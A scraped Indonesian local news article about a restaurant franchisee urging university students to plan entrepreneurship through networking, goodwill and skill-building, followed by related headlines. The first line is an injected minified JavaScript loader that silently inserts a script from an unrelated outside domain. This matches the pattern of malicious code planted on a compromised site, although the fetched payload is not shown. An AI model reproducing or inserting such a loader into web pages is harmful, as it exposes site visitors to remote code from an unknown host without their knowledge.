(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN- Francissor Wong Solo Group Kalsel-Teng Zulkifli Rabban mengingatkan bagi mahasiswa yang tertarik menekuni bidang wirausaha agar direncanakan mulai sejak kuliah. Hal tersebut disampaikannya saat menjadi pembicara di program pengenalan kehidupan kampus bagi mahasiswa baru, Rabu (29/8) di Sekolah Tinggi Ilmu Ekonomi (STIE) Indonesia.
“Untuk menjadi pengusaha tidak bisa asal dan modal nekat saja. Namun akan lebih baik jika direncanakan mulai sejak anda menjadi mahasiswa,” jelasnya.
Merencanakan menjadi pengusaha sendiri saat menjadi mahasiswa pertama bisa dilakukan dengan aktif mengembangkan jaringan pertemanan melalui berbagai organisasi internal dan eksternal yang bisa di ikuti saat kuliah.
“Kuliah itu jangan hanya masuk kelas dan mengerjakan tugas saja, ikutlah organisasi kampus untuk mengembangkan jaringan pertemanan. Dengan jaringan pertemanan yang luas tadi maka akan terbuka banyak peluang bisnis,” ungkapnya.
Lalu kedua adalah dalam berteman saat masih kuliah, hendaknya bisa banyak menebar kebaikan ketimbang keburukan. Dengan menebar kebaikan maka kita akan memiliki banyak teman yang mungkin saja akan membantu di masa depan.
“Saya ini banyak sekali pengalaman bagaimana bisnis yang saya rintis berkembang karena bantuan dari teman lama. Jadi ingat berbuat baik dengan teman itu jangan disepelekan, tapi harus banyak dilakukan,” tegasnya.
Lalu yang terakhir adalah saat dibangku kuliah, hendaknya bisa betul-betul mengembangkan potensi keahlian yang dimiliki. Karena skill yang baik bisa dipakai untuk modal berwirausaha.
“Modal berwirausaha itu tidak hanya berupa uang, tapi bisa juga dengan keahlian. Dengan keahlian yang mumpuni maka kita bisa membuka sebuah peluang bisnis, misalnya keahlian akuntansi, public speaking atau fotografer,” tambahnya.
Diceritakannya, dirinya sendiri mulai terjun ke dunia bisnis setelah belasan tahun bekerja sebagai pegawai di salah satu perusahaan media lokal di Kalsel.
Keinginan menjadi wirausaha sendiri tidak lepas karena dirinya ingin meningkatkan kesejahteraan bagi keluarganya. Walau pun ia harus mengambil langkah besar dengan keluar dari zona nyaman dengan berhenti menjadi seorang pegawai.
Sebelum menjadi franchisor Wong Solo Group di Kalsel dan sukses membuka hingga 24 cabang sekarang. Ia sempat menggeluti berbagai macam bisnis, salah satunya menjadi distributor alat tulis untuk perusahaan dan perkantoran.
“Memang sebelum seperti sekarang, saya sempat juga merasakan sulitnya jatuh bangun merintis usaha. Namun asal kita konsisten menggelutinya dan rutin berdoa kepada sang pencipta, hasil itu pada akhirnya tidak akan mengkhianati proses,” tukasnya. (arief)
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
This website uses cookies.